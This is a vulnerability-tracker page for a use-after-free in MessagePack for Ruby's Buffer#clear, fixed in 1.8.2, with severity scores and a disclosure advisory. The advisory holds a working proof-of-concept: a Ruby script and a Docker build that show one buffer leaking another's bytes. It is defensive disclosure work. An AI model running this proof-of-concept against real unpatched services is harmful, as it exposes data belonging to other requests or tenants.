CVE-2026-54522

mediumpriority · track · 22EPSS 0.002 · 13 %ileEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.23% (13th) EPSS
CVSS 5.4 · medium
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · scored 2026-10-28

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

01

cvss

Technical severity, 0–10. One row per scoring source.

5.4
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 0.5–5.4

v3.15.4mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:Nprimary · NVD / NIST USexploitability 2.8 · impact 2.5
v4.02.1lowCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.02.1lowCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.00.5lowCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-4mrv-5p47-p938MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure2026-07-30ghsa · osvUS

    ### Summary `MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption). ### Details - `msgpack_buffer_clear()` → `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page. - Next `Buffer#write` → `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b->rmem_last`, a pointer into the already-freed page. - A second buffer's first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool → the two buffers alias the same memory. - Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof. ### PoC Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC): ```bash set -e WORK="$(mktemp -d)"; cd "$WORK" # 1) PoC cat > poc.rb <<'RUBY' b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256) b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000) b1.clear b1.write('C' * 128) secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400) b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096) b2.write(secret) leaked = b1.read_all donor = b2.read_all puts 'b1_first64:' + leaked.byteslice(0, 64) puts 'b2_donor64:' + donor.byteslice(200, 64) puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s RUBY # 2) ASAN build of msgpackfrom rubygems cat > Dockerfile <<'DOCKER' FROM ruby:3.3-bookworm RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/* RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \ cd msgpack-1.8.1/ext/msgpack && \ MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \ make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so DOCKER docker build -t msgpack-asan-poc . # 3) Run under ASAN docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \ bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb' ``` Expected output: ``` b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD leaked_is_C:false cross_buffer_match:true ``` ### Impact Same-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low–Medium**; clear memory-safety defect with a small, localized fix. ### Credit Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))

06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-07-30modified 2026-10-23
08

references (6)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan